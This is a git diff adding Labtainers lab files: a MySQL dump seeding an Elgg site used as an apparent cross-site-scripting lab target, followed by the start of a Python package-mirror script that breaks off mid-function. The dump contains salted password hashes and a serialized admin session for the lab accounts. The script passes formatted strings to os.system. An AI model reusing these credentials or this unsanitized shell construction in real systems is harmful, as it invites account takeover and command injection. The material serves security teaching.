ENGINE=MyISAM AUTO_INCREMENT=6 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_entity_subtypes` +-- + +LOCK TABLES `elgg_entity_subtypes` WRITE; +/*!40000 ALTER TABLE `elgg_entity_subtypes` DISABLE KEYS */; +INSERT INTO `elgg_entity_subtypes` VALUES (1,'object','file','ElggFile'),(2,'object','plugin','ElggPlugin'),(3,'object','widget','ElggWidget'),(4,'object','blog','ElggBlog'),(5,'object','thewire','ElggWire'); +/*!40000 ALTER TABLE `elgg_entity_subtypes` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_geocode_cache` +-- + +DROP TABLE IF EXISTS `elgg_geocode_cache`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_geocode_cache` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `location` varchar(128) DEFAULT NULL, + `lat` varchar(20) DEFAULT NULL, + `long` varchar(20) DEFAULT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `location` (`location`) +) ENGINE=MEMORY DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_geocode_cache` +-- + +LOCK TABLES `elgg_geocode_cache` WRITE; +/*!40000 ALTER TABLE `elgg_geocode_cache` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_geocode_cache` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_groups_entity` +-- + +DROP TABLE IF EXISTS `elgg_groups_entity`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_groups_entity` ( + `guid` bigint(20) unsigned NOT NULL, + `name` text NOT NULL, + `description` text NOT NULL, + PRIMARY KEY (`guid`), + KEY `name` (`name`(50)), + KEY `description` (`description`(50)), + FULLTEXT KEY `name_2` (`name`,`description`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_groups_entity` +-- + +LOCK TABLES `elgg_groups_entity` WRITE; +/*!40000 ALTER TABLE `elgg_groups_entity` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_groups_entity` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_hmac_cache` +-- + +DROP TABLE IF EXISTS `elgg_hmac_cache`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_hmac_cache` ( + `hmac` varchar(255) NOT NULL, + `ts` int(11) NOT NULL, + PRIMARY KEY (`hmac`), + KEY `ts` (`ts`) +) ENGINE=MEMORY DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_hmac_cache` +-- + +LOCK TABLES `elgg_hmac_cache` WRITE; +/*!40000 ALTER TABLE `elgg_hmac_cache` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_hmac_cache` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_metadata` +-- + +DROP TABLE IF EXISTS `elgg_metadata`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_metadata` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `entity_guid` bigint(20) unsigned NOT NULL, + `name_id` int(11) NOT NULL, + `value_id` int(11) NOT NULL, + `value_type` enum('integer','text') NOT NULL, + `owner_guid` bigint(20) unsigned NOT NULL, + `access_id` int(11) NOT NULL, + `time_created` int(11) NOT NULL, + `enabled` enum('yes','no') NOT NULL DEFAULT 'yes', + PRIMARY KEY (`id`), + KEY `entity_guid` (`entity_guid`), + KEY `name_id` (`name_id`), + KEY `value_id` (`value_id`), + KEY `owner_guid` (`owner_guid`), + KEY `access_id` (`access_id`) +) ENGINE=MyISAM AUTO_INCREMENT=17 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_metadata` +-- + +LOCK TABLES `elgg_metadata` WRITE; +/*!40000 ALTER TABLE `elgg_metadata` DISABLE KEYS */; +INSERT INTO `elgg_metadata` VALUES (1,1,1,2,'text',0,2,1510271899,'yes'),(2,33,3,4,'text',33,2,1510271931,'yes'),(3,33,5,4,'text',0,2,1510271931,'yes'),(4,33,6,7,'text',0,2,1510271931,'yes'),(5,39,3,4,'text',39,2,1510272666,'yes'),(6,39,8,4,'text',39,2,1510272666,'yes'),(7,39,9,10,'integer',39,2,1510272666,'yes'),(8,40,3,4,'text',40,2,1510272705,'yes'),(9,40,8,4,'text',40,2,1510272705,'yes'),(10,40,9,10,'integer',40,2,1510272705,'yes'),(11,41,3,4,'text',41,2,1510272744,'yes'),(12,41,8,4,'text',41,2,1510272744,'yes'),(13,41,9,10,'integer',41,2,1510272744,'yes'),(14,42,3,4,'text',42,2,1510272762,'yes'),(15,42,8,4,'text',42,2,1510272762,'yes'),(16,42,9,10,'integer',42,2,1510272762,'yes'); +/*!40000 ALTER TABLE `elgg_metadata` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_metastrings` +-- + +DROP TABLE IF EXISTS `elgg_metastrings`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_metastrings` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `string` text NOT NULL, + PRIMARY KEY (`id`), + KEY `string` (`string`(50)) +) ENGINE=MyISAM AUTO_INCREMENT=11 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_metastrings` +-- + +LOCK TABLES `elgg_metastrings` WRITE; +/*!40000 ALTER TABLE `elgg_metastrings` DISABLE KEYS */; +INSERT INTO `elgg_metastrings` VALUES (1,'email'),(2,'me@you.com'),(3,'notification:method:email'),(4,'1'),(5,'validated'),(6,'validated_method'),(7,'admin_user'),(8,'admin_created'),(9,'created_by_guid'),(10,'33'); +/*!40000 ALTER TABLE `elgg_metastrings` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_objects_entity` +-- + +DROP TABLE IF EXISTS `elgg_objects_entity`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_objects_entity` ( + `guid` bigint(20) unsigned NOT NULL, + `title` text NOT NULL, + `description` text NOT NULL, + PRIMARY KEY (`guid`), + FULLTEXT KEY `title` (`title`,`description`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_objects_entity` +-- + +LOCK TABLES `elgg_objects_entity` WRITE; +/*!40000 ALTER TABLE `elgg_objects_entity` DISABLE KEYS */; +INSERT INTO `elgg_objects_entity` VALUES (2,'blog',''),(3,'bookmarks',''),(4,'categories',''),(5,'custom_index',''),(6,'dashboard',''),(7,'developers',''),(8,'diagnostics',''),(9,'embed',''),(10,'externalpages',''),(11,'file',''),(12,'garbagecollector',''),(13,'groups',''),(14,'htmlawed',''),(15,'invitefriends',''),(16,'likes',''),(17,'logbrowser',''),(18,'logrotate',''),(19,'members',''),(20,'messageboard',''),(21,'messages',''),(22,'notifications',''),(23,'pages',''),(24,'profile',''),(25,'reportedcontent',''),(26,'search',''),(27,'tagcloud',''),(28,'thewire',''),(29,'tinymce',''),(30,'twitter_api',''),(31,'uservalidationbyemail',''),(32,'zaudio',''),(34,'',''),(35,'',''),(36,'',''),(37,'',''),(38,'',''); +/*!40000 ALTER TABLE `elgg_objects_entity` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_private_settings` +-- + +DROP TABLE IF EXISTS `elgg_private_settings`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_private_settings` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `entity_guid` int(11) NOT NULL, + `name` varchar(128) NOT NULL, + `value` text NOT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `entity_guid` (`entity_guid`,`name`), + KEY `name` (`name`), + KEY `value` (`value`(50)) +) ENGINE=MyISAM AUTO_INCREMENT=55 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_private_settings` +-- + +LOCK TABLES `elgg_private_settings` WRITE; +/*!40000 ALTER TABLE `elgg_private_settings` DISABLE KEYS */; +INSERT INTO `elgg_private_settings` VALUES (1,2,'elgg:internal:priority','1'),(2,3,'elgg:internal:priority','2'),(3,4,'elgg:internal:priority','3'),(4,5,'elgg:internal:priority','4'),(5,6,'elgg:internal:priority','5'),(6,7,'elgg:internal:priority','6'),(7,8,'elgg:internal:priority','7'),(8,9,'elgg:internal:priority','8'),(9,10,'elgg:internal:priority','9'),(10,11,'elgg:internal:priority','10'),(11,12,'elgg:internal:priority','11'),(12,13,'elgg:internal:priority','12'),(13,14,'elgg:internal:priority','13'),(14,15,'elgg:internal:priority','14'),(15,16,'elgg:internal:priority','15'),(16,17,'elgg:internal:priority','16'),(17,18,'elgg:internal:priority','17'),(18,19,'elgg:internal:priority','18'),(19,20,'elgg:internal:priority','19'),(20,21,'elgg:internal:priority','20'),(21,22,'elgg:internal:priority','21'),(22,23,'elgg:internal:priority','22'),(23,24,'elgg:internal:priority','23'),(24,25,'elgg:internal:priority','24'),(25,26,'elgg:internal:priority','25'),(26,27,'elgg:internal:priority','26'),(27,28,'elgg:internal:priority','27'),(28,29,'elgg:internal:priority','28'),(29,30,'elgg:internal:priority','29'),(30,31,'elgg:internal:priority','30'),(31,32,'elgg:internal:priority','31'),(32,34,'handler','control_panel'),(33,34,'context','admin'),(34,34,'column','1'),(35,34,'order','0'),(36,35,'handler','admin_welcome'),(37,35,'context','admin'),(38,35,'order','10'),(39,35,'column','1'),(40,36,'handler','online_users'),(41,36,'context','admin'),(42,36,'column','2'),(43,36,'order','0'),(44,37,'handler','new_users'),(45,37,'context','admin'),(46,37,'order','10'),(47,37,'column','2'),(48,38,'handler','content_stats'),(49,38,'context','admin'),(50,38,'order','20'),(51,38,'column','2'),(52,36,'num_display','8'),(53,37,'num_display','5'),(54,38,'num_display','8'); +/*!40000 ALTER TABLE `elgg_private_settings` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_river` +-- + +DROP TABLE IF EXISTS `elgg_river`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_river` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `type` varchar(8) NOT NULL, + `subtype` varchar(32) NOT NULL, + `action_type` varchar(32) NOT NULL, + `access_id` int(11) NOT NULL, + `view` text NOT NULL, + `subject_guid` int(11) NOT NULL, + `object_guid` int(11) NOT NULL, + `annotation_id` int(11) NOT NULL, + `posted` int(11) NOT NULL, + PRIMARY KEY (`id`), + KEY `type` (`type`), + KEY `action_type` (`action_type`), + KEY `access_id` (`access_id`), + KEY `subject_guid` (`subject_guid`), + KEY `object_guid` (`object_guid`), + KEY `annotation_id` (`annotation_id`), + KEY `posted` (`posted`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_river` +-- + +LOCK TABLES `elgg_river` WRITE; +/*!40000 ALTER TABLE `elgg_river` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_river` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_sites_entity` +-- + +DROP TABLE IF EXISTS `elgg_sites_entity`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_sites_entity` ( + `guid` bigint(20) unsigned NOT NULL, + `name` text NOT NULL, + `description` text NOT NULL, + `url` varchar(255) NOT NULL, + PRIMARY KEY (`guid`), + UNIQUE KEY `url` (`url`), + FULLTEXT KEY `name` (`name`,`description`,`url`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_sites_entity` +-- + +LOCK TABLES `elgg_sites_entity` WRITE; +/*!40000 ALTER TABLE `elgg_sites_entity` DISABLE KEYS */; +INSERT INTO `elgg_sites_entity` VALUES (1,'One Bad Place','','http://xsslabelgg.com/'); +/*!40000 ALTER TABLE `elgg_sites_entity` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_system_log` +-- + +DROP TABLE IF EXISTS `elgg_system_log`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_system_log` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `object_id` int(11) NOT NULL, + `object_class` varchar(50) NOT NULL, + `object_type` varchar(50) NOT NULL, + `object_subtype` varchar(50) NOT NULL, + `event` varchar(50) NOT NULL, + `performed_by_guid` int(11) NOT NULL, + `owner_guid` int(11) NOT NULL, + `access_id` int(11) NOT NULL, + `enabled` enum('yes','no') NOT NULL DEFAULT 'yes', + `time_created` int(11) NOT NULL, + `ip_address` varchar(46) NOT NULL, + PRIMARY KEY (`id`), + KEY `object_id` (`object_id`), + KEY `object_class` (`object_class`), + KEY `object_type` (`object_type`), + KEY `object_subtype` (`object_subtype`), + KEY `event` (`event`), + KEY `performed_by_guid` (`performed_by_guid`), + KEY `access_id` (`access_id`), + KEY `time_created` (`time_created`), + KEY `river_key` (`object_type`,`object_subtype`,`event`) +) ENGINE=MyISAM AUTO_INCREMENT=72 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_system_log` +-- + +LOCK TABLES `elgg_system_log` WRITE; +/*!40000 ALTER TABLE `elgg_system_log` DISABLE KEYS */; +INSERT INTO `elgg_system_log` VALUES (1,2,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(2,3,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(3,4,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(4,5,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(5,6,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(6,7,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(7,8,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(8,9,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(9,10,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(10,11,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(11,12,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(12,13,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(13,14,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(14,15,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(15,16,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(16,17,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(17,18,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(18,19,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(19,20,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(20,21,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(21,22,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(22,23,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(23,24,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(24,25,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(25,26,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(26,27,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(27,28,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(28,29,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(29,30,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(30,31,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(31,32,'ElggPlugin','object','plugin','create',0,1,2,'yes',1510271899,'172.25.0.3'),(32,1,'ElggRelationship','relationship','active_plugin','create',0,0,2,'yes',1510271899,'172.25.0.3'),(33,23,'ElggRelationship','relationship','member_of_site','create',0,0,2,'yes',1510271931,'172.25.0.3'),(34,33,'ElggUser','user','','create',0,0,2,'yes',1510271931,'172.25.0.3'),(35,2,'ElggMetadata','metadata','notification:method:email','create',0,33,2,'yes',1510271931,'172.25.0.3'),(36,34,'ElggWidget','object','widget','create',0,33,0,'yes',1510271931,'172.25.0.3'),(37,35,'ElggWidget','object','widget','create',0,33,0,'yes',1510271931,'172.25.0.3'),(38,36,'ElggWidget','object','widget','create',0,33,0,'yes',1510271931,'172.25.0.3'),(39,37,'ElggWidget','object','widget','create',0,33,0,'yes',1510271931,'172.25.0.3'),(40,38,'ElggWidget','object','widget','create',0,33,0,'yes',1510271931,'172.25.0.3'),(41,33,'ElggUser','user','','make_admin',0,0,2,'yes',1510271931,'172.25.0.3'),(42,3,'ElggMetadata','metadata','validated','create',0,0,2,'yes',1510271931,'172.25.0.3'),(43,4,'ElggMetadata','metadata','validated_method','create',0,0,2,'yes',1510271931,'172.25.0.3'),(44,33,'ElggUser','user','','update',33,0,2,'yes',1510271931,'172.25.0.3'),(45,33,'ElggUser','user','','login',33,0,2,'yes',1510271931,'172.25.0.3'),(46,33,'ElggUser','user','','update',33,0,2,'yes',1510272591,'172.25.0.3'),(47,24,'ElggRelationship','relationship','member_of_site','create',33,0,2,'yes',1510272666,'172.25.0.3'),(48,39,'ElggUser','user','','create',33,0,2,'yes',1510272666,'172.25.0.3'),(49,5,'ElggMetadata','metadata','notification:method:email','create',33,39,2,'yes',1510272666,'172.25.0.3'),(50,39,'ElggUser','user','','update',33,0,2,'yes',1510272666,'172.25.0.3'),(51,6,'ElggMetadata','metadata','admin_created','create',33,39,2,'yes',1510272666,'172.25.0.3'),(52,7,'ElggMetadata','metadata','created_by_guid','create',33,39,2,'yes',1510272666,'172.25.0.3'),(53,25,'ElggRelationship','relationship','member_of_site','create',33,0,2,'yes',1510272705,'172.25.0.3'),(54,40,'ElggUser','user','','create',33,0,2,'yes',1510272705,'172.25.0.3'),(55,8,'ElggMetadata','metadata','notification:method:email','create',33,40,2,'yes',1510272705,'172.25.0.3'),(56,40,'ElggUser','user','','update',33,0,2,'yes',1510272705,'172.25.0.3'),(57,9,'ElggMetadata','metadata','admin_created','create',33,40,2,'yes',1510272705,'172.25.0.3'),(58,10,'ElggMetadata','metadata','created_by_guid','create',33,40,2,'yes',1510272705,'172.25.0.3'),(59,26,'ElggRelationship','relationship','member_of_site','create',33,0,2,'yes',1510272744,'172.25.0.3'),(60,41,'ElggUser','user','','create',33,0,2,'yes',1510272744,'172.25.0.3'),(61,11,'ElggMetadata','metadata','notification:method:email','create',33,41,2,'yes',1510272744,'172.25.0.3'),(62,41,'ElggUser','user','','update',33,0,2,'yes',1510272744,'172.25.0.3'),(63,12,'ElggMetadata','metadata','admin_created','create',33,41,2,'yes',1510272744,'172.25.0.3'),(64,13,'ElggMetadata','metadata','created_by_guid','create',33,41,2,'yes',1510272744,'172.25.0.3'),(65,27,'ElggRelationship','relationship','member_of_site','create',33,0,2,'yes',1510272762,'172.25.0.3'),(66,42,'ElggUser','user','','create',33,0,2,'yes',1510272762,'172.25.0.3'),(67,14,'ElggMetadata','metadata','notification:method:email','create',33,42,2,'yes',1510272762,'172.25.0.3'),(68,42,'ElggUser','user','','update',33,0,2,'yes',1510272762,'172.25.0.3'),(69,15,'ElggMetadata','metadata','admin_created','create',33,42,2,'yes',1510272762,'172.25.0.3'),(70,16,'ElggMetadata','metadata','created_by_guid','create',33,42,2,'yes',1510272762,'172.25.0.3'),(71,6,'ElggRelationship','relationship','active_plugin','delete',33,0,2,'yes',1510272992,'172.25.0.3'); +/*!40000 ALTER TABLE `elgg_system_log` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_users_apisessions` +-- + +DROP TABLE IF EXISTS `elgg_users_apisessions`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_users_apisessions` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `user_guid` bigint(20) unsigned NOT NULL, + `site_guid` bigint(20) unsigned NOT NULL, + `token` varchar(40) DEFAULT NULL, + `expires` int(11) NOT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `user_guid` (`user_guid`,`site_guid`), + KEY `token` (`token`) +) ENGINE=MEMORY DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_users_apisessions` +-- + +LOCK TABLES `elgg_users_apisessions` WRITE; +/*!40000 ALTER TABLE `elgg_users_apisessions` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_users_apisessions` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_users_entity` +-- + +DROP TABLE IF EXISTS `elgg_users_entity`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_users_entity` ( + `guid` bigint(20) unsigned NOT NULL, + `name` text NOT NULL, + `username` varchar(128) NOT NULL DEFAULT '', + `password` varchar(32) NOT NULL DEFAULT '', + `salt` varchar(8) NOT NULL DEFAULT '', + `email` text NOT NULL, + `language` varchar(6) NOT NULL DEFAULT '', + `code` varchar(32) NOT NULL DEFAULT '', + `banned` enum('yes','no') NOT NULL DEFAULT 'no', + `admin` enum('yes','no') NOT NULL DEFAULT 'no', + `last_action` int(11) NOT NULL DEFAULT '0', + `prev_last_action` int(11) NOT NULL DEFAULT '0', + `last_login` int(11) NOT NULL DEFAULT '0', + `prev_last_login` int(11) NOT NULL DEFAULT '0', + PRIMARY KEY (`guid`), + UNIQUE KEY `username` (`username`), + KEY `password` (`password`), + KEY `email` (`email`(50)), + KEY `code` (`code`), + KEY `last_action` (`last_action`), + KEY `last_login` (`last_login`), + KEY `admin` (`admin`), + FULLTEXT KEY `name` (`name`), + FULLTEXT KEY `name_2` (`name`,`username`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_users_entity` +-- + +LOCK TABLES `elgg_users_entity` WRITE; +/*!40000 ALTER TABLE `elgg_users_entity` DISABLE KEYS */; +INSERT INTO `elgg_users_entity` VALUES (33,'admin','admin','db4c8540eccd3f55fe0bf4dad0233052','syg7q84p','admin@here.com','en','','no','yes',1510273098,1510272993,1510271931,0),(39,'Alice','alice','028570fdf46d1e003090bdaa992b427c','Iedyj_S4','here@there.com','en','','no','no',0,0,0,0),(40,'Boby','boby','072e47d0d896eca1a6d23bbf41c80f93','jbHSKzlH','boby@seed.here','en','','no','no',0,0,0,0),(41,'Charlie','charlie','fd63939acf7b768044f1b4cb2bffab0e','I7SUvzWB','here@there.com','en','','no','no',0,0,0,0),(42,'Samy','samy','04500a568d3009d15aae00debb337efd','swwfxCpQ','sam@sam.com','en','','no','no',0,0,0,0); +/*!40000 ALTER TABLE `elgg_users_entity` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_users_sessions` +-- + +DROP TABLE IF EXISTS `elgg_users_sessions`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_users_sessions` ( + `session` varchar(255) NOT NULL, + `ts` int(11) unsigned NOT NULL DEFAULT '0', + `data` mediumblob, + PRIMARY KEY (`session`), + KEY `ts` (`ts`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_users_sessions` +-- + +LOCK TABLES `elgg_users_sessions` WRITE; +/*!40000 ALTER TABLE `elgg_users_sessions` DISABLE KEYS */; +INSERT INTO `elgg_users_sessions` VALUES ('voc1glcpnncnofpfkidn494oq4',1510273098,'__elgg_session|s:32:\"e339c72c0c1e16779f5f57a909be83de\";user|O:8:\"ElggUser\":8:{s:15:\"\0*\0url_override\";N;s:16:\"\0*\0icon_override\";N;s:16:\"\0*\0temp_metadata\";a:0:{}s:19:\"\0*\0temp_annotations\";a:0:{}s:24:\"\0*\0temp_private_settings\";a:0:{}s:11:\"\0*\0volatile\";a:0:{}s:13:\"\0*\0attributes\";a:25:{s:4:\"guid\";i:33;s:4:\"type\";s:4:\"user\";s:7:\"subtype\";s:1:\"0\";s:10:\"owner_guid\";s:1:\"0\";s:9:\"site_guid\";s:1:\"1\";s:14:\"container_guid\";s:1:\"0\";s:9:\"access_id\";s:1:\"2\";s:12:\"time_created\";s:10:\"1510271931\";s:12:\"time_updated\";s:10:\"1510272591\";s:11:\"last_action\";s:10:\"1510272993\";s:7:\"enabled\";s:3:\"yes\";s:12:\"tables_split\";i:2;s:13:\"tables_loaded\";i:2;s:4:\"name\";s:5:\"admin\";s:8:\"username\";s:5:\"admin\";s:8:\"password\";s:32:\"db4c8540eccd3f55fe0bf4dad0233052\";s:4:\"salt\";s:8:\"syg7q84p\";s:5:\"email\";s:14:\"admin@here.com\";s:8:\"language\";s:2:\"en\";s:4:\"code\";s:0:\"\";s:6:\"banned\";s:2:\"no\";s:5:\"admin\";s:3:\"yes\";s:16:\"prev_last_action\";s:10:\"1510272992\";s:10:\"last_login\";s:10:\"1510271931\";s:15:\"prev_last_login\";s:1:\"0\";}s:8:\"\0*\0valid\";b:0;}guid|i:33;id|i:33;username|s:5:\"admin\";name|s:5:\"admin\";msg|a:0:{}sticky_forms|a:0:{}'); +/*!40000 ALTER TABLE `elgg_users_sessions` ENABLE KEYS */; +UNLOCK TABLES; +/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; + +/*!40101 SET SQL_MODE=@OLD_SQL_MODE */; +/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; +/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; +/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; +/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; +/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; +/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */; + +-- Dump completed on 2017-11-10 0:18:43 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/sys_tar/sys.tar b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/sys_tar/sys.tar new file mode 100644 index 000000000..6684f1947 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xsite/vuln-site/sys_tar/sys.tar differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/AddPackage.py b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/AddPackage.py new file mode 100755 index 000000000..3a479ec43 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/pkg-mirrors/AddPackage.py @@ -0,0 +1,168 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +import os +import sys +import re +import AddPkgLogging +import ParsePackages + +TMPDIR="/tmp/.addpkgdir" +UBUNTUHOME="/var/www/html/ubuntumirror.uc.nps.edu/ubuntu" +DISTHOME="%s/dists" % UBUNTUHOME +POOLHOME="%s/pool" % UBUNTUHOME +URLPATH="http://us.archive.ubuntu.com/ubuntu" + +# Dictionary of packages +pkgsdict = {} + +LIST=[ + "xenial/main/binary-amd64/Packages", + "xenial/restricted/binary-amd64/Packages", + "xenial/universe/binary-amd64/Packages", + "xenial/multiverse/binary-amd64/Packages", + "xenial-updates/main/binary-amd64/Packages", + "xenial-updates/restricted/binary-amd64/Packages", + "xenial-updates/universe/binary-amd64/Packages", + "xenial-updates/multiverse/binary-amd64/Packages" + ] + +def process_filename_list(finalflist): + os.chdir(TMPDIR) + for fname in finalflist: + localfname = "%s/%s" % (UBUNTUHOME, fname) + if os.path.exists(localfname): + # skip if already exists + continue + else: + remotefname = "%s/%s" % (URLPATH, fname) + os.system("wget %s" % remotefname) + basefname = os.path.basename(localfname) + dirname = os.path.dirname(localfname) + os.system("mkdir -p %s" % dirname) + os.system("cp %s %s" % (basefname, localfname)) + os.system("chown -R apache:apache %s" % POOLHOME) + +def collect_dependencies(deplist, finaldeplist, checkdeplist, logger): + for dependency in deplist: + if dependency in checkdeplist: + continue + if "|" in dependency: + dependency 